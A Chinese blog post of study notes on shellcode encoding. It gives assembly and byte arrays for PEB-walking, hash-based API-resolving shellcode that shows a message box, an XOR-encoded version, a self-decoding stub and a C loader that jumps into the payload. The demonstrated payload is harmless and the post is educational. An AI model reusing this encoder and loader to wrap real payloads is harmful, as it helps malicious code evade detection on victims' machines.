0day安全阅读笔记[2]通过加解密保护shellcode

shellcode结合了逆向中的壳的概念,为shellcode增加了一个简易壳(实际上就是进行了异或操作), 来看shellcode的源码:

__asm {
	nop
	cld                      
	push 0x1E380A6A
	push 0x4FD18963
	push 0x0C917432
	mov esi, esp
	lea edi, [esi - 0xc]
	xor	ebx, ebx
	mov	bh, 0x04
	sub	esp, ebx
	mov	bx, 0x3233
	push ebx
	push 0x72657375
	push esp
	xor	edx, edx
	mov	ebx, fs:[edx + 0x30]
	mov	ecx, [ebx + 0xC]
	mov	ecx, [ecx + 0x1C]
	mov	ecx, [ecx]
	mov	ebp, [ecx + 0x8]
find_lib_functions:
	lodsd
	cmp	eax, 0x1E380A6A
	jne	find_functions
	xchg eax, ebp
	call [edi - 0x8]
	xchg eax, ebp
find_functions:
	pushad                    
	mov	eax, [ebp + 0x3C]		
	mov	ecx, [ebp + eax + 0x78]
	add	ecx, ebp			
	mov	ebx, [ecx + 0x20]	
	add	ebx, ebp            
	xor	edi, edi
next_function_loop:
	inc	edi
	mov esi, [ebx + edi * 4]   
	add	esi, ebp			  
	cdq                     	
hash_loop:
	movsx eax, byte ptr[esi]
	cmp	al, ah              
	jz compare_hash
	ror edx, 7
	add edx, eax
	inc	esi
	jmp	hash_loop
compare_hash:
	cmp	edx, [esp + 0x1C]   
	jnz	next_function_loop
	mov	ebx, [ecx + 0x24]   
	add	ebx, ebp          
	mov di, [ebx + 2 * edi]   
	mov	ebx, [ecx + 0x1C]   
	add	ebx, ebp        
	add	ebp, [ebx + 4 * edi]         
	xchg eax, ebp          
	pop	edi
	stosd               
	push edi
	popad
	cmp	eax, 0x1e380a6a   
	jne	find_lib_functions
function_call:
	xor	ebx, ebx
	push ebx
	push 0x74736577
	push 0x6c696166       
	mov	eax, esp
	push ebx
	push eax
	push eax
	push ebx
	call [edi - 0x04]       
	push ebx
	call [edi - 0x08]       
	nop	
}

由于这段源码首先通过fs选择子找到TEB的位置,接着定位PEB, PEB_LDR_DATA... 最终找到kernel32.dll在内存中加载的基址。根据PE结构找到kernel32.dll的导出表,最终的目的是定位到ExitProcess和LoadLibrary的绝对地址。通过LoadLibrary加载user32.dll后获取MessageBoxA的绝对地址,最终弹出一个对话框后用ExitProcess结束进程。

这段shellcode的机器码如下所示:

char shellcode[] = {
	"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
	"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
	"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
	"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
	"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
	"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
	"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
	"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
	"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
	"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
	"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
};

对其进行异或加密后结果如下:

char shellcode[] = {
    "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
    "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
    "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
    "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
    "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
    "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
    "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
    "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
    "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
    "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
    "\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"
};

这就是加密过后的shellcode了,接下去来写出解密程序:

#include <windows.h>
#include <stdio.h>

int main() {
	__asm {
		add eax, 0x14 
		xor ecx, ecx 
	decode_loop:
		mov bl, [eax + ecx]
		xor bl, 0x44 
		mov [eax + ecx], bl 
		inc ecx 
		cmp bl, 0x90
		jne decode_loop 
	}

	return(0);
}

这段代码的含义先不考虑,先提取机器码为如下:

char decoder[20] = {
        "\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80"
	"\xFB\x90\x75\xF1"
}; // 从这开始往上是解码器shellcode

可以看到,这段解码代码一共20个字节, 接下去把解码代码和加密过后的shellcode进行组合后写出完整程序:

#include <windows.h>
#include <stdio.h>

char shellcode[] = {
	"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80"
	"\xFB\x90\x75\xF1" // 从这开始往上是解码器shellcode
	"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
	"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
	"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
	"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
	"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
	"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
	"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
	"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
	"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
	"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
	"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"
};

int main() {
	__asm {
		lea eax, shellcode
		push eax
		ret
	}

	return(0);
}

可以看到main函数中仅仅是获取shellcode的动态地址后直接跳转到该地址运行。由于执行过lea eax, shellcode所以跳转过去后eax的内容为shellcode的起始地址

来看一下ollydbg的内容:

retn后就直接调到了eax即shellcode位置进行执行

再来看一下解码器代码:

__asm {
		add eax, 0x14 
		xor ecx, ecx 
	decode_loop:
		mov bl, [eax + ecx]
		xor bl, 0x44 
		mov [eax + ecx], bl 
		inc ecx 
		cmp bl, 0x90
		jne decode_loop 
	}

第一句代码:

add eax, 0x14 ; 0x14 == 20

实际上就是越过解码器代码,获得被加密后的shellcode代码地址, 之后通过循环解密。

shellcode就露出了真面目。

(完)

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值